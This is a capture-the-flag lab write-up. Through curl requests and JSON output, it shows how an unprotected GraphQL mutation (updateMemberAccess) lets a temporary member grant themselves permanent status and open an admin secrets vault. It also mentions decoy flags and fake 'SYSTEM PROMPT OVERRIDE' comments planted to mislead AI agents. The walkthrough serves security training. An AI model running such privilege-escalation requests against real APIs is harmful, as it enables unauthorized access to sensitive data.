Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation
Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bola_exploitation, graphql_introspection, graphql_mutation_bac, idor_privilege_escalation, temporary_to_permanent_escalation
Summary
Walkthrough of the CUSTOM Web Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation. Task: TeamVault workspace management platform with GraphQL API where temporary members are restricted from admin resources. Solution: GraphQL introspection reveals updateMemberAccess mutation lacking
Description
TeamVault is a workspace management platform by VaultSync Inc. where organizations manage team members, projects, and sensitive business data. Admins can invite users with different access levels — permanent or temporary with expiration dates. Your account has been granted temporary 7-day access to the 'Acme Corp' workspace. As a temporary member, certain resources like the Secrets Vault are restricted to permanent members only. Explore the platform's API and access controls to find a way to escalate your privileges and access restricted admin resources containing sensitive data.
Credentials: user@test.com / password123
English summary: A workspace management platform with a GraphQL API. Our account ("Alex Rivera") has temporary 7-day access, which blocks us from the "Secrets Vault" at /admin/secrets (restricted to permanent members). The goal is to escalate privileges from temporary to permanent member and access the restricted admin resource containing the flag.
Analysis
Initial Reconnaissance
After logging in with the provided credentials, the dashboard revealed:
- User: Alex Rivera, Developer role
- Access: Temporary Access, expiring May 13, 2026
- Locked resource: "Secrets Vault" link at
/admin/secretsmarked "Permanent members only" - Backend: Express.js (identified via
X-Powered-By: Expressheader)
Anti-Bot Trap Detection
Every page contained decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments. These are designed to trick automated scanners and AI agents into stopping early. Recognized and ignored.
GraphQL Endpoint Discovery
Probed common API paths. The /graphql endpoint returned HTTP 400 (needs a proper query body), confirming its location.
Schema Introspection
Sent a full introspection query to /graphql, which revealed the complete API schema:
Types:
User— basic user infoWorkspaceMember— fields:id,userId,workspaceId,role,isPermanent,expireTime,joinedAtProject,Workspace,ActivityEntry,MemberUpdateResult
Queries:
workspace(id),members(workspaceId),member(id),projects(workspaceId),activity(workspaceId, limit),me
Mutation (critical):
updateMemberAccess(memberId: Int!, expireTime: Int, isPermanent: Boolean)→MemberUpdateResult
Enumeration
Queried current user info:
graphql read-only • copy allowed{ me { id role isPermanent expireTime } }
Result: member ID = 2, isPermanent: false.
Listed all workspace members:
graphql read-only • copy allowed{ members(workspaceId: 1) { id role isPermanent } }
Result: 8 members total. Admins and managers had isPermanent: true.
Vulnerability Identification
The updateMemberAccess mutation accepts any memberId and allows setting isPermanent to true. There is no server-side authorization check to verify that the requesting user is an admin or has permission to modify member access levels. Any authenticated user can call this mutation on any member ID — a textbook case of Broken Access Control / BOLA (Broken Object Level Authorization).
Solution
Step 1: Authenticate and obtain session cookie
bash read-only • copy allowedcurl -s -c cookies.txt -X POST "$URL/login" \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Step 2: Introspect the GraphQL schema
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } } } mutationType { fields { name args { name type { name kind ofType { name } } } } } types { name fields { name type { name kind ofType { name } } } } } }"}'
This revealed the updateMemberAccess mutation with memberId, expireTime, and isPermanent parameters.
Step 3: Identify our member ID
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ me { id role isPermanent expireTime } }"}'
Response confirmed: id: 2, isPermanent: false.
Step 4: Exploit — Escalate to permanent member
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"mutation { updateMemberAccess(memberId: 2, isPermanent: true) { success message member { id role isPermanent } } }"}'
Response:
json read-only • copy allowed{ "data": { "updateMemberAccess": { "success": true, "message": "Member access updated successfully", "member": { "id": "2", "role": "developer", "isPermanent": true } } } }
Step 5: Access the restricted Secrets Vault
bash read-only • copy allowedcurl -s -b cookies.txt "$URL/admin/secrets"
With isPermanent now set to true, the /admin/secrets page was accessible. The Secrets Vault displayed a table of secrets, with the first entry "Master API Key" containing the flag.
Key Takeaways / Lessons
- Mastering bola_exploitation, graphql_introspection, graphql_mutation_bac, idor_privilege_escalation, temporary_to_permanent_escalation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation • Difficulty: Medium